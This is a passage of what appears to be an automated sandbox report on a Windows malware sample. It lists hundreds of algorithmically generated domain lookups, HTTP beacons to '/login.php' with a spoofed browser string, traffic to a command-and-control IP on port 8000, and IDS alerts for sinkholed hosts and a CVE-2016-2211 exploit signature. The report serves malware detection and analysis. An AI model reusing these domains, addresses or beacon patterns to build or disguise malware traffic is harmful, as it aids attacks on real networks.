    Source: unknownDNS traffic detected: query: lyvyxyj.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lykysix.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vojycif.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lymyjon.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qegyxug.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vocypyt.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qebyqil.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: puvygyq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: puvydov.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pumyliq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pujyteq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lymyfoj.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vopydum.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: galyros.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyvytuj.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qekykev.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pujymel.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qedyfog.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: puvybeg.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pupyjuv.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pujydag.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qedyxip.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vopymyc.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vopygat.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vojybek.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: ganyrys.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lygyvar.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qexytep.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pufydul.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gatyviw.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lysynur.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gadyquz.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: puzylol.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vojyquf.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: puryxag.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lymytar.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lymytux.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qetykol.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vocygyk.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lysynaj.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qedytul.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gaqykus.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qekynog.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pujywiv.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qekyrov.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pumyxiv.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vopyqim.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pufycol.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lymyner.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyryxen.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vocyqaf.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pumylel.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gacyzuz.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pufytev.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pumytol.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: volykyc.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: volyrac.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qebykul.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pupybul.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gatyfaz.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lysyxux.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pupyxup.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lymywaj.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyrynad.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vocyruk.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lykyxur.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gacyroh.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qetysal.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gahyhys.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: ganyhuh.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: puzyciq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vowyrym.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: purypyq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gacyzaw.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lysylej.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vofypuk.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pujyjup.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: galykiz.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gaqyqis.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qeqynel.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lymysud.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: puryxuq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: galyzeb.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyxywij.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: purybav.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pufymoq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: volygyf.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gaqycyz.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qeqylyl.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pumyxep.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qebyvop.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: puzywel.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qekyvav.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pupylaq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qebyteg.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pumypyv.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: puzymig.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pujyjav.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyvytan.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qegyfyp.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyvymir.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: galydoz.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lymylij.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gacyqob.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lygysij.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pupyboq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyvyfad.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vowypek.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyvyjox.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lymyxex.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pujycov.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gacyfew.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: purymuq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vofyjuk.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qetynev.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyxygud.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qetysuq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyrywax.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vopydek.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qeqysuv.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lykyjad.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lygyged.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qegyfil.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lygyjuj.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gahyraw.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lygymoj.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lygymyn.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyryfox.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gaqypiz.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: puvywup.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: ganynyb.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyvyguj.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: galykes.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vojypuc.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vocykif.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: puvytag.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qexyqyv.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vopycyf.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: ganykuw.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: puvywav.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pufyxug.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qedykiv.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lygylax.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vojyzyt.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lysyger.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qexylal.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qekylag.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pufypeg.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyvynen.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyvywux.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qegyqug.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: volyquk.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyvyvix.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lygyfex.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: puzydal.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: ganyfes.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lysyjid.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vofyzym.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qekyqop.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyvysur.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gadydas.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: puvyxeq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lysyfin.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: volycik.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vonykuk.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyxylux.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vojydam.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pufybop.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vonyrot.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: puzywuq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyrysyj.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qetyxiq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lygytyd.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qeqyvig.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vopybok.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qedyleq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: volybec.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vocybam.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pumydoq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: ganyvoz.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gahyfyz.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: volyjok.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gaqydus.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gaqyreh.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: puvyjyl.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qeqyxyp.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qeqyloq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lymysan.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qetyxeg.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vofydut.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lygyxun.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vojymet.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vofybic.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gahydoh.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vocyjet.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyryvur.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pufylap.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qekyfeg.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gadykos.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: puvylyg.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qekytyq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: ganyzub.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: puvypul.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lykyfen.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: puvycip.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pumygyp.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyxytex.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qebykap.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gaqydeb.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vofyref.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyxysun.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qexyryl.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qegynuv.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: purylev.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lykylan.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vonyzac.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lymygyx.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vowyzam.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vopypec.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vocyquc.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qekynuq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gatyrez.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vopypif.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vonyket.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pufygav.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: ganypeb.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: puzymev.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gahyvew.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pujylog.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyxyvoj.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gatypub.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lygygin.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: gatykow.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qeqyreq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lykywid.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: volyjym.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lygynox.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qedynul.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qebylug.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vopyzuc.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vowyqoc.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vowycut.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qexynyp.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vocykem.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: vojygut.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: qedyqup.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: galyheh.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: pujybyq.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: lyxymin.com replaycode: Name error (3)
    Source: unknownDNS traffic detected: query: puzyguv.com replaycode: Name error (3)
    Uses known network protocols on non-standard ports
    Source: unknownNetwork traffic detected: HTTP traffic on port 49755 -> 8000
    Source: unknownNetwork traffic detected: HTTP traffic on port 8000 -> 49755
    Source: unknownNetwork traffic detected: HTTP traffic on port 49755 -> 8000
    Source: unknownNetwork traffic detected: HTTP traffic on port 8000 -> 49755
    Source: unknownNetwork traffic detected: HTTP traffic on port 49755 -> 8000
    Source: unknownNetwork traffic detected: HTTP traffic on port 8000 -> 49755
    Source: unknownNetwork traffic detected: HTTP traffic on port 50171 -> 8000
    Source: unknownNetwork traffic detected: HTTP traffic on port 8000 -> 50171
    Source: unknownNetwork traffic detected: HTTP traffic on port 50171 -> 8000
    Source: unknownNetwork traffic detected: HTTP traffic on port 8000 -> 50171
    Source: unknownNetwork traffic detected: DNS query count 1004
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_02704F80 IsNetworkAlive,#680,DnsFlushResolverCache,CreateThread,memset,lstrcpynA,lstrcpynA,StrNCatA,StrNCatA,InternetCheckConnectionA,InternetCheckConnectionA,memset,lstrcpynA,StrNCatA,InternetCheckConnectionA,5_2_02704F80
    Source: global trafficTCP traffic: 192.168.2.4:49755 -> 106.15.232.163:8000
    Source: global trafficDNS traffic detected: number of DNS queries: 1004
    Source: Joe Sandbox ViewIP Address: 3.94.10.34 3.94.10.34
    Source: Joe Sandbox ViewIP Address: 106.15.232.163 106.15.232.163
    Source: Joe Sandbox ViewASN Name: CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd
    Source: Joe Sandbox ViewJA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
    Source: Network trafficSuricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 44.221.84.105:80 -> 192.168.2.4:49737
    Source: Network trafficSuricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 44.221.84.105:80 -> 192.168.2.4:49737
    Source: Network trafficSuricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 3.94.10.34:80 -> 192.168.2.4:49752
    Source: Network trafficSuricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 3.94.10.34:80 -> 192.168.2.4:49752
    Source: Network trafficSuricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 18.208.156.248:80 -> 192.168.2.4:49738
    Source: Network trafficSuricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 18.208.156.248:80 -> 192.168.2.4:49738
    Source: Network trafficSuricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 52.34.198.229:80 -> 192.168.2.4:55675
    Source: Network trafficSuricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 52.34.198.229:80 -> 192.168.2.4:55675
    Source: Network trafficSuricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.4:49757
    Source: Network trafficSuricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.4:60907
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lymyxid.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gahyqah.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyfus.com
